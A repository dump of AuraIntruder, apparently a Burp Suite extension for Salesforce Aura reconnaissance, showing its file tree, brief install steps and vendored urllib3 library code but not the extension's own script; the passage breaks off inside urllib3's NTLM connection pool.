├── modules ├── __init__.py └── urllib3 │ ├── contrib │ ├── __init__.py │ ├── _securetransport │ │ ├── __init__.py │ │ └── low_level.py │ ├── __init__$py.class │ ├── _appengine_environ$py.class │ ├── _appengine_environ.py │ ├── ntlmpool.py │ ├── socks.py │ ├── appengine.py │ └── pyopenssl.py │ ├── packages │ ├── __init__.py │ ├── backports │ │ ├── __init__.py │ │ └── makefile.py │ ├── six$py.class │ └── __init__$py.class │ ├── _version.py │ ├── fields$py.class │ ├── __init__$py.class │ ├── _version$py.class │ ├── filepost$py.class │ ├── request$py.class │ ├── response$py.class │ ├── util │ ├── url$py.class │ ├── proxy$py.class │ ├── queue$py.class │ ├── retry$py.class │ ├── ssl_$py.class │ ├── wait$py.class │ ├── __init__$py.class │ ├── request$py.class │ ├── response$py.class │ ├── timeout$py.class │ ├── connection$py.class │ ├── ssltransport$py.class │ ├── ssl_match_hostname$py.class │ ├── queue.py │ ├── __init__.py │ ├── proxy.py │ ├── response.py │ ├── request.py │ ├── connection.py │ ├── wait.py │ ├── ssl_match_hostname.py │ ├── ssltransport.py │ ├── timeout.py │ ├── url.py │ └── ssl_.py │ ├── connection$py.class │ ├── exceptions$py.class │ ├── poolmanager$py.class │ ├── _collections$py.class │ ├── connectionpool$py.class │ ├── filepost.py │ ├── __init__.py │ ├── request.py │ ├── exceptions.py │ ├── fields.py │ └── _collections.py ├── files └── custom_object_check.json ├── README.md ├── aura_intruder.py └── LICENSE.md /modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/urllib3/packages/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/urllib3/packages/backports/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/_securetransport/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /files/custom_object_check.json: -------------------------------------------------------------------------------- 1 | Paste Salesforce recon request json result here from Burp Intruder. -------------------------------------------------------------------------------- /modules/urllib3/_version.py: -------------------------------------------------------------------------------- 1 | # This file is protected via CODEOWNERS 2 | __version__ = "1.26.9" 3 | -------------------------------------------------------------------------------- /modules/urllib3/fields$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/fields$py.class -------------------------------------------------------------------------------- /modules/urllib3/__init__$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/__init__$py.class -------------------------------------------------------------------------------- /modules/urllib3/_version$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/_version$py.class -------------------------------------------------------------------------------- /modules/urllib3/filepost$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/filepost$py.class -------------------------------------------------------------------------------- /modules/urllib3/request$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/request$py.class -------------------------------------------------------------------------------- /modules/urllib3/response$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/response$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/url$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/url$py.class -------------------------------------------------------------------------------- /modules/urllib3/connection$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/connection$py.class -------------------------------------------------------------------------------- /modules/urllib3/exceptions$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/exceptions$py.class -------------------------------------------------------------------------------- /modules/urllib3/poolmanager$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/poolmanager$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/proxy$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/proxy$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/queue$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/queue$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/retry$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/retry$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/ssl_$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/ssl_$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/wait$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/wait$py.class -------------------------------------------------------------------------------- /modules/urllib3/_collections$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/_collections$py.class -------------------------------------------------------------------------------- /modules/urllib3/packages/six$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/packages/six$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/__init__$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/__init__$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/request$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/request$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/response$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/response$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/timeout$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/timeout$py.class -------------------------------------------------------------------------------- /modules/urllib3/connectionpool$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/connectionpool$py.class -------------------------------------------------------------------------------- /modules/urllib3/contrib/__init__$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/contrib/__init__$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/connection$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/connection$py.class -------------------------------------------------------------------------------- /modules/urllib3/packages/__init__$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/packages/__init__$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/ssltransport$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/ssltransport$py.class -------------------------------------------------------------------------------- /modules/urllib3/util/ssl_match_hostname$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/util/ssl_match_hostname$py.class -------------------------------------------------------------------------------- /modules/urllib3/contrib/_appengine_environ$py.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pingidentity/AuraIntruder/HEAD/modules/urllib3/contrib/_appengine_environ$py.class -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AuraIntruder 2 | 3 | ### Install 4 | 5 | 1. Download the Burp extension from Github and a Jython JDK. 6 | 7 | 2. Extract the zip file. 8 | 9 | 3. Go to Burp Suite extender and click the options tab and add the path to the Jython jar file. 10 | 11 | 4. Finally add the Burp Extension by clicking add and adding aura_intruder.py 12 | -------------------------------------------------------------------------------- /modules/urllib3/util/queue.py: -------------------------------------------------------------------------------- 1 | import collections 2 | 3 | from ..packages import six 4 | from ..packages.six.moves import queue 5 | 6 | if six.PY2: 7 | # Queue is imported for side effects on MS Windows. See issue #229. 8 | import Queue as _unused_module_Queue # noqa: F401 9 | 10 | 11 | class LifoQueue(queue.Queue): 12 | def _init(self, _): 13 | self.queue = collections.deque() 14 | 15 | def _qsize(self, len=len): 16 | return len(self.queue) 17 | 18 | def _put(self, item): 19 | self.queue.append(item) 20 | 21 | def _get(self): 22 | return self.queue.pop() 23 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/_appengine_environ.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module provides means to detect the App Engine environment. 3 | """ 4 | 5 | import os 6 | 7 | 8 | def is_appengine(): 9 | return is_local_appengine() or is_prod_appengine() 10 | 11 | 12 | def is_appengine_sandbox(): 13 | """Reports if the app is running in the first generation sandbox. 14 | 15 | The second generation runtimes are technically still in a sandbox, but it 16 | is much less restrictive, so generally you shouldn't need to check for it. 17 | see https://cloud.google.com/appengine/docs/standard/runtimes 18 | """ 19 | return is_appengine() and os.environ["APPENGINE_RUNTIME"] == "python27" 20 | 21 | 22 | def is_local_appengine(): 23 | return "APPENGINE_RUNTIME" in os.environ and os.environ.get( 24 | "SERVER_SOFTWARE", "" 25 | ).startswith("Development/") 26 | 27 | 28 | def is_prod_appengine(): 29 | return "APPENGINE_RUNTIME" in os.environ and os.environ.get( 30 | "SERVER_SOFTWARE", "" 31 | ).startswith("Google App Engine/") 32 | 33 | 34 | def is_prod_appengine_mvms(): 35 | """Deprecated.""" 36 | return False 37 | -------------------------------------------------------------------------------- /modules/urllib3/util/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | # For backwards compatibility, provide imports that used to be here. 4 | from .connection import is_connection_dropped 5 | from .request import SKIP_HEADER, SKIPPABLE_HEADERS, make_headers 6 | from .response import is_fp_closed 7 | from .retry import Retry 8 | from .ssl_ import ( 9 | ALPN_PROTOCOLS, 10 | HAS_SNI, 11 | IS_PYOPENSSL, 12 | IS_SECURETRANSPORT, 13 | PROTOCOL_TLS, 14 | SSLContext, 15 | assert_fingerprint, 16 | resolve_cert_reqs, 17 | resolve_ssl_version, 18 | ssl_wrap_socket, 19 | ) 20 | from .timeout import Timeout, current_time 21 | from .url import Url, get_host, parse_url, split_first 22 | from .wait import wait_for_read, wait_for_write 23 | 24 | __all__ = ( 25 | "HAS_SNI", 26 | "IS_PYOPENSSL", 27 | "IS_SECURETRANSPORT", 28 | "SSLContext", 29 | "PROTOCOL_TLS", 30 | "ALPN_PROTOCOLS", 31 | "Retry", 32 | "Timeout", 33 | "Url", 34 | "assert_fingerprint", 35 | "current_time", 36 | "is_connection_dropped", 37 | "is_fp_closed", 38 | "get_host", 39 | "parse_url", 40 | "make_headers", 41 | "resolve_cert_reqs", 42 | "resolve_ssl_version", 43 | "split_first", 44 | "ssl_wrap_socket", 45 | "wait_for_read", 46 | "wait_for_write", 47 | "SKIP_HEADER", 48 | "SKIPPABLE_HEADERS", 49 | ) 50 | -------------------------------------------------------------------------------- /modules/urllib3/packages/backports/makefile.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | backports.makefile 4 | ~~~~~~~~~~~~~~~~~~ 5 | 6 | Backports the Python 3 ``socket.makefile`` method for use with anything that 7 | wants to create a "fake" socket object. 8 | """ 9 | import io 10 | from socket import SocketIO 11 | 12 | 13 | def backport_makefile( 14 | self, mode="r", buffering=None, encoding=None, errors=None, newline=None 15 | ): 16 | """ 17 | Backport of ``socket.makefile`` from Python 3.5. 18 | """ 19 | if not set(mode) <= {"r", "w", "b"}: 20 | raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) 21 | writing = "w" in mode 22 | reading = "r" in mode or not writing 23 | assert reading or writing 24 | binary = "b" in mode 25 | rawmode = "" 26 | if reading: 27 | rawmode += "r" 28 | if writing: 29 | rawmode += "w" 30 | raw = SocketIO(self, rawmode) 31 | self._makefile_refs += 1 32 | if buffering is None: 33 | buffering = -1 34 | if buffering < 0: 35 | buffering = io.DEFAULT_BUFFER_SIZE 36 | if buffering == 0: 37 | if not binary: 38 | raise ValueError("unbuffered streams must be binary") 39 | return raw 40 | if reading and writing: 41 | buffer = io.BufferedRWPair(raw, raw, buffering) 42 | elif reading: 43 | buffer = io.BufferedReader(raw, buffering) 44 | else: 45 | assert writing 46 | buffer = io.BufferedWriter(raw, buffering) 47 | if binary: 48 | return buffer 49 | text = io.TextIOWrapper(buffer, encoding, errors, newline) 50 | text.mode = mode 51 | return text 52 | -------------------------------------------------------------------------------- /modules/urllib3/util/proxy.py: -------------------------------------------------------------------------------- 1 | from .ssl_ import create_urllib3_context, resolve_cert_reqs, resolve_ssl_version 2 | 3 | 4 | def connection_requires_http_tunnel( 5 | proxy_url=None, proxy_config=None, destination_scheme=None 6 | ): 7 | """ 8 | Returns True if the connection requires an HTTP CONNECT through the proxy. 9 | 10 | :param URL proxy_url: 11 | URL of the proxy. 12 | :param ProxyConfig proxy_config: 13 | Proxy configuration from poolmanager.py 14 | :param str destination_scheme: 15 | The scheme of the destination. (i.e https, http, etc) 16 | """ 17 | # If we're not using a proxy, no way to use a tunnel. 18 | if proxy_url is None: 19 | return False 20 | 21 | # HTTP destinations never require tunneling, we always forward. 22 | if destination_scheme == "http": 23 | return False 24 | 25 | # Support for forwarding with HTTPS proxies and HTTPS destinations. 26 | if ( 27 | proxy_url.scheme == "https" 28 | and proxy_config 29 | and proxy_config.use_forwarding_for_https 30 | ): 31 | return False 32 | 33 | # Otherwise always use a tunnel. 34 | return True 35 | 36 | 37 | def create_proxy_ssl_context( 38 | ssl_version, cert_reqs, ca_certs=None, ca_cert_dir=None, ca_cert_data=None 39 | ): 40 | """ 41 | Generates a default proxy ssl context if one hasn't been provided by the 42 | user. 43 | """ 44 | ssl_context = create_urllib3_context( 45 | ssl_version=resolve_ssl_version(ssl_version), 46 | cert_reqs=resolve_cert_reqs(cert_reqs), 47 | ) 48 | 49 | if ( 50 | not ca_certs 51 | and not ca_cert_dir 52 | and not ca_cert_data 53 | and hasattr(ssl_context, "load_default_certs") 54 | ): 55 | ssl_context.load_default_certs() 56 | 57 | return ssl_context 58 | -------------------------------------------------------------------------------- /modules/urllib3/filepost.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import binascii 4 | import codecs 5 | import os 6 | from io import BytesIO 7 | 8 | from .fields import RequestField 9 | from .packages import six 10 | from .packages.six import b 11 | 12 | writer = codecs.lookup("utf-8")[3] 13 | 14 | 15 | def choose_boundary(): 16 | """ 17 | Our embarrassingly-simple replacement for mimetools.choose_boundary. 18 | """ 19 | boundary = binascii.hexlify(os.urandom(16)) 20 | if not six.PY2: 21 | boundary = boundary.decode("ascii") 22 | return boundary 23 | 24 | 25 | def iter_field_objects(fields): 26 | """ 27 | Iterate over fields. 28 | 29 | Supports list of (k, v) tuples and dicts, and lists of 30 | :class:`~urllib3.fields.RequestField`. 31 | 32 | """ 33 | if isinstance(fields, dict): 34 | i = six.iteritems(fields) 35 | else: 36 | i = iter(fields) 37 | 38 | for field in i: 39 | if isinstance(field, RequestField): 40 | yield field 41 | else: 42 | yield RequestField.from_tuples(*field) 43 | 44 | 45 | def iter_fields(fields): 46 | """ 47 | .. deprecated:: 1.6 48 | 49 | Iterate over fields. 50 | 51 | The addition of :class:`~urllib3.fields.RequestField` makes this function 52 | obsolete. Instead, use :func:`iter_field_objects`, which returns 53 | :class:`~urllib3.fields.RequestField` objects. 54 | 55 | Supports list of (k, v) tuples and dicts. 56 | """ 57 | if isinstance(fields, dict): 58 | return ((k, v) for k, v in six.iteritems(fields)) 59 | 60 | return ((k, v) for k, v in fields) 61 | 62 | 63 | def encode_multipart_formdata(fields, boundary=None): 64 | """ 65 | Encode a dictionary of ``fields`` using the multipart/form-data MIME format. 66 | 67 | :param fields: 68 | Dictionary of fields or list of (key, :class:`~urllib3.fields.RequestField`). 69 | 70 | :param boundary: 71 | If not specified, then a random boundary will be generated using 72 | :func:`urllib3.filepost.choose_boundary`. 73 | """ 74 | body = BytesIO() 75 | if boundary is None: 76 | boundary = choose_boundary() 77 | 78 | for field in iter_field_objects(fields): 79 | body.write(b("--%s\r\n" % (boundary))) 80 | 81 | writer(body).write(field.render_headers()) 82 | data = field.data 83 | 84 | if isinstance(data, int): 85 | data = str(data) # Backwards compatibility 86 | 87 | if isinstance(data, six.text_type): 88 | writer(body).write(data) 89 | else: 90 | body.write(data) 91 | 92 | body.write(b"\r\n") 93 | 94 | body.write(b("--%s--\r\n" % (boundary))) 95 | 96 | content_type = str("multipart/form-data; boundary=%s" % boundary) 97 | 98 | return body.getvalue(), content_type 99 | -------------------------------------------------------------------------------- /modules/urllib3/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Python HTTP library with thread-safe connection pooling, file post support, user friendly, and more 3 | """ 4 | from __future__ import absolute_import 5 | 6 | # Set default logging handler to avoid "No handler found" warnings. 7 | import logging 8 | import warnings 9 | from logging import NullHandler 10 | 11 | from . import exceptions 12 | from ._version import __version__ 13 | from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, connection_from_url 14 | from .filepost import encode_multipart_formdata 15 | from .poolmanager import PoolManager, ProxyManager, proxy_from_url 16 | from .response import HTTPResponse 17 | from .util.request import make_headers 18 | from .util.retry import Retry 19 | from .util.timeout import Timeout 20 | from .util.url import get_host 21 | 22 | __author__ = "Andrey Petrov (andrey.petrov@shazow.net)" 23 | __license__ = "MIT" 24 | __version__ = __version__ 25 | 26 | __all__ = ( 27 | "HTTPConnectionPool", 28 | "HTTPSConnectionPool", 29 | "PoolManager", 30 | "ProxyManager", 31 | "HTTPResponse", 32 | "Retry", 33 | "Timeout", 34 | "add_stderr_logger", 35 | "connection_from_url", 36 | "disable_warnings", 37 | "encode_multipart_formdata", 38 | "get_host", 39 | "make_headers", 40 | "proxy_from_url", 41 | ) 42 | 43 | logging.getLogger(__name__).addHandler(NullHandler()) 44 | 45 | 46 | def add_stderr_logger(level=logging.DEBUG): 47 | """ 48 | Helper for quickly adding a StreamHandler to the logger. Useful for 49 | debugging. 50 | 51 | Returns the handler after adding it. 52 | """ 53 | # This method needs to be in this __init__.py to get the __name__ correct 54 | # even if urllib3 is vendored within another package. 55 | logger = logging.getLogger(__name__) 56 | handler = logging.StreamHandler() 57 | handler.setFormatter(logging.Formatter("%(asctime)s %(levelname)s %(message)s")) 58 | logger.addHandler(handler) 59 | logger.setLevel(level) 60 | logger.debug("Added a stderr logging handler to logger: %s", __name__) 61 | return handler 62 | 63 | 64 | # ... Clean up. 65 | del NullHandler 66 | 67 | 68 | # All warning filters *must* be appended unless you're really certain that they 69 | # shouldn't be: otherwise, it's very hard for users to use most Python 70 | # mechanisms to silence them. 71 | # SecurityWarning's always go off by default. 72 | warnings.simplefilter("always", exceptions.SecurityWarning, append=True) 73 | # SubjectAltNameWarning's should go off once per host 74 | warnings.simplefilter("default", exceptions.SubjectAltNameWarning, append=True) 75 | # InsecurePlatformWarning's don't vary between requests, so we keep it default. 76 | warnings.simplefilter("default", exceptions.InsecurePlatformWarning, append=True) 77 | # SNIMissingWarnings should go off only once. 78 | warnings.simplefilter("default", exceptions.SNIMissingWarning, append=True) 79 | 80 | 81 | def disable_warnings(category=exceptions.HTTPWarning): 82 | """ 83 | Helper for quickly disabling all urllib3 warnings. 84 | """ 85 | warnings.simplefilter("ignore", category) 86 | -------------------------------------------------------------------------------- /modules/urllib3/util/response.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from email.errors import MultipartInvariantViolationDefect, StartBoundaryNotFoundDefect 4 | 5 | from ..exceptions import HeaderParsingError 6 | from ..packages.six.moves import http_client as httplib 7 | 8 | 9 | def is_fp_closed(obj): 10 | """ 11 | Checks whether a given file-like object is closed. 12 | 13 | :param obj: 14 | The file-like object to check. 15 | """ 16 | 17 | try: 18 | # Check `isclosed()` first, in case Python3 doesn't set `closed`. 19 | # GH Issue #928 20 | return obj.isclosed() 21 | except AttributeError: 22 | pass 23 | 24 | try: 25 | # Check via the official file-like-object way. 26 | return obj.closed 27 | except AttributeError: 28 | pass 29 | 30 | try: 31 | # Check if the object is a container for another file-like object that 32 | # gets released on exhaustion (e.g. HTTPResponse). 33 | return obj.fp is None 34 | except AttributeError: 35 | pass 36 | 37 | raise ValueError("Unable to determine whether fp is closed.") 38 | 39 | 40 | def assert_header_parsing(headers): 41 | """ 42 | Asserts whether all headers have been successfully parsed. 43 | Extracts encountered errors from the result of parsing headers. 44 | 45 | Only works on Python 3. 46 | 47 | :param http.client.HTTPMessage headers: Headers to verify. 48 | 49 | :raises urllib3.exceptions.HeaderParsingError: 50 | If parsing errors are found. 51 | """ 52 | 53 | # This will fail silently if we pass in the wrong kind of parameter. 54 | # To make debugging easier add an explicit check. 55 | if not isinstance(headers, httplib.HTTPMessage): 56 | raise TypeError("expected httplib.Message, got {0}.".format(type(headers))) 57 | 58 | defects = getattr(headers, "defects", None) 59 | get_payload = getattr(headers, "get_payload", None) 60 | 61 | unparsed_data = None 62 | if get_payload: 63 | # get_payload is actually email.message.Message.get_payload; 64 | # we're only interested in the result if it's not a multipart message 65 | if not headers.is_multipart(): 66 | payload = get_payload() 67 | 68 | if isinstance(payload, (bytes, str)): 69 | unparsed_data = payload 70 | if defects: 71 | # httplib is assuming a response body is available 72 | # when parsing headers even when httplib only sends 73 | # header data to parse_headers() This results in 74 | # defects on multipart responses in particular. 75 | # See: https://github.com/urllib3/urllib3/issues/800 76 | 77 | # So we ignore the following defects: 78 | # - StartBoundaryNotFoundDefect: 79 | # The claimed start boundary was never found. 80 | # - MultipartInvariantViolationDefect: 81 | # A message claimed to be a multipart but no subparts were found. 82 | defects = [ 83 | defect 84 | for defect in defects 85 | if not isinstance( 86 | defect, (StartBoundaryNotFoundDefect, MultipartInvariantViolationDefect) 87 | ) 88 | ] 89 | 90 | if defects or unparsed_data: 91 | raise HeaderParsingError(defects=defects, unparsed_data=unparsed_data) 92 | 93 | 94 | def is_response_to_head(response): 95 | """ 96 | Checks whether the request of a response has been a HEAD-request. 97 | Handles the quirks of AppEngine. 98 | 99 | :param http.client.HTTPResponse response: 100 | Response to check if the originating request 101 | used 'HEAD' as a method. 102 | """ 103 | # FIXME: Can we do this somehow without accessing private httplib _method? 104 | method = response._method 105 | if isinstance(method, int): # Platform-specific: Appengine 106 | return method == 3 107 | return method.upper() == "HEAD" 108 | -------------------------------------------------------------------------------- /modules/urllib3/util/request.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from base64 import b64encode 4 | 5 | from ..exceptions import UnrewindableBodyError 6 | from ..packages.six import b, integer_types 7 | 8 | # Pass as a value within ``headers`` to skip 9 | # emitting some HTTP headers that are added automatically. 10 | # The only headers that are supported are ``Accept-Encoding``, 11 | # ``Host``, and ``User-Agent``. 12 | SKIP_HEADER = "@@@SKIP_HEADER@@@" 13 | SKIPPABLE_HEADERS = frozenset(["accept-encoding", "host", "user-agent"]) 14 | 15 | ACCEPT_ENCODING = "gzip,deflate" 16 | try: 17 | try: 18 | import brotlicffi as _unused_module_brotli # noqa: F401 19 | except ImportError: 20 | import brotli as _unused_module_brotli # noqa: F401 21 | except ImportError: 22 | pass 23 | else: 24 | ACCEPT_ENCODING += ",br" 25 | 26 | _FAILEDTELL = object() 27 | 28 | 29 | def make_headers( 30 | keep_alive=None, 31 | accept_encoding=None, 32 | user_agent=None, 33 | basic_auth=None, 34 | proxy_basic_auth=None, 35 | disable_cache=None, 36 | ): 37 | """ 38 | Shortcuts for generating request headers. 39 | 40 | :param keep_alive: 41 | If ``True``, adds 'connection: keep-alive' header. 42 | 43 | :param accept_encoding: 44 | Can be a boolean, list, or string. 45 | ``True`` translates to 'gzip,deflate'. 46 | List will get joined by comma. 47 | String will be used as provided. 48 | 49 | :param user_agent: 50 | String representing the user-agent you want, such as 51 | "python-urllib3/0.6" 52 | 53 | :param basic_auth: 54 | Colon-separated username:password string for 'authorization: basic ...' 55 | auth header. 56 | 57 | :param proxy_basic_auth: 58 | Colon-separated username:password string for 'proxy-authorization: basic ...' 59 | auth header. 60 | 61 | :param disable_cache: 62 | If ``True``, adds 'cache-control: no-cache' header. 63 | 64 | Example:: 65 | 66 | >>> make_headers(keep_alive=True, user_agent="Batman/1.0") 67 | {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'} 68 | >>> make_headers(accept_encoding=True) 69 | {'accept-encoding': 'gzip,deflate'} 70 | """ 71 | headers = {} 72 | if accept_encoding: 73 | if isinstance(accept_encoding, str): 74 | pass 75 | elif isinstance(accept_encoding, list): 76 | accept_encoding = ",".join(accept_encoding) 77 | else: 78 | accept_encoding = ACCEPT_ENCODING 79 | headers["accept-encoding"] = accept_encoding 80 | 81 | if user_agent: 82 | headers["user-agent"] = user_agent 83 | 84 | if keep_alive: 85 | headers["connection"] = "keep-alive" 86 | 87 | if basic_auth: 88 | headers["authorization"] = "Basic " + b64encode(b(basic_auth)).decode("utf-8") 89 | 90 | if proxy_basic_auth: 91 | headers["proxy-authorization"] = "Basic " + b64encode( 92 | b(proxy_basic_auth) 93 | ).decode("utf-8") 94 | 95 | if disable_cache: 96 | headers["cache-control"] = "no-cache" 97 | 98 | return headers 99 | 100 | 101 | def set_file_position(body, pos): 102 | """ 103 | If a position is provided, move file to that point. 104 | Otherwise, we'll attempt to record a position for future use. 105 | """ 106 | if pos is not None: 107 | rewind_body(body, pos) 108 | elif getattr(body, "tell", None) is not None: 109 | try: 110 | pos = body.tell() 111 | except (IOError, OSError): 112 | # This differentiates from None, allowing us to catch 113 | # a failed `tell()` later when trying to rewind the body. 114 | pos = _FAILEDTELL 115 | 116 | return pos 117 | 118 | 119 | def rewind_body(body, body_pos): 120 | """ 121 | Attempt to rewind body to a certain position. 122 | Primarily used for request redirects and retries. 123 | 124 | :param body: 125 | File-like object that supports seek. 126 | 127 | :param int pos: 128 | Position to seek to in file. 129 | """ 130 | body_seek = getattr(body, "seek", None) 131 | if body_seek is not None and isinstance(body_pos, integer_types): 132 | try: 133 | body_seek(body_pos) 134 | except (IOError, OSError): 135 | raise UnrewindableBodyError( 136 | "An error occurred when rewinding request body for redirect/retry." 137 | ) 138 | elif body_pos is _FAILEDTELL: 139 | raise UnrewindableBodyError( 140 | "Unable to record file position for rewinding " 141 | "request body during a redirect/retry." 142 | ) 143 | else: 144 | raise ValueError( 145 | "body_pos must be of type integer, instead it was %s." % type(body_pos) 146 | ) 147 | -------------------------------------------------------------------------------- /modules/urllib3/contrib/ntlmpool.py: -------------------------------------------------------------------------------- 1 | """ 2 | NTLM authenticating pool, contributed by erikcederstran 3 | 4 | Issue #10, see: http://code.google.com/p/urllib3/issues/detail?id=10 5 | """ 6 | from __future__ import absolute_import 7 | 8 | import warnings 9 | from logging import getLogger 10 | 11 | from ntlm import ntlm 12 | 13 | from .. import HTTPSConnectionPool 14 | from ..packages.six.moves.http_client import HTTPSConnection 15 | 16 | warnings.warn( 17 | "The 'urllib3.contrib.ntlmpool' module is deprecated and will be removed " 18 | "in urllib3 v2.0 release, urllib3 is not able to support it properly due " 19 | "to reasons listed in issue: https://github.com/urllib3/urllib3/issues/2282. " 20 | "If you are a user of this module please comment in the mentioned issue.", 21 | DeprecationWarning, 22 | ) 23 | 24 | log = getLogger(__name__) 25 | 26 | 27 | class NTLMConnectionPool(HTTPSConnectionPool): 28 | """ 29 | Implements an NTLM authentication version of an urllib3 connection pool 30 | """ 31 | 32 | scheme = "https" 33 | 34 | def __init__(self, user, pw, authurl, *args, **kwargs): 35 | """ 36 | authurl is a random URL on the server that is protected by NTLM. 37 | user is the Windows user, probably in the DOMAIN\\username format. 38 | pw is the password for the user. 39 | """ 40 | super(NTLMConnectionPool, self).__init__(*args, **kwargs) 41 | self.authurl = authurl 42 | self.rawuser = user 43 | user_parts = user.split("\\", 1) 44 | self.domain = user_parts[0].upper() 45 | self.user = user_parts[1] 46 | self.pw = pw 47 | 48 | def _new_conn(self): 49 | # Performs the NTLM handshake that secures the connection. The socket 50 | # must be kept open while requests are performed. 51 | self.num_connections += 1 52 | log.debug( 53 | "Starting NTLM HTTPS connection no. %d: https://%s%s", 54 | self.num_connections, 55 | self.host, 56 | self.authurl, 57 | ) 58 | 59 | headers = {"Connection": "Keep-Alive"} 60 | req_header = "Authorization" 61 | resp_header = "www-authenticate" 62 | 63 | conn = HTTPSConnection(host=self.host, port=self.port) 64 | 65 | # Send negotiation message 66 | headers[req_header] = "NTLM %s" % ntlm.create_NTLM_NEGOTIATE_MESSAGE( 67 | self.rawuser 68 | ) 69 | log.debug("Request headers: %s", headers) 70 | conn.request("GET", self.authurl, None, headers) 71 | res = conn.getresponse() 72 | reshdr = dict(res.getheaders()) 73 | log.debug("Response status: %s %s", res.status, res.reason) 74 | log.debug("Response headers: %s", reshdr) 75 | log.debug("Response data: %s [...]", res.read(100)) 76 | 77 | # Remove the reference to the socket, so that it can not be closed by 78 | # the response object (we want to keep the socket open) 79 | res.fp = None 80 | 81 | # Server should respond with a challenge message 82 | auth_header_values = reshdr[resp_header].split(", ") 83 | auth_header_value = None 84 | for s in auth_header_values: 85 | if s[:5] == "NTLM ": 86 | auth_header_value = s[5:] 87 | if auth_header_value is None: 88 | raise Exception( 89 | "Unexpected %s response header: %s" % (resp_header, reshdr[resp_header]) 90 | ) 91 | 92 | # Send authentication message 93 | ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE( 94 | auth_header_value 95 | ) 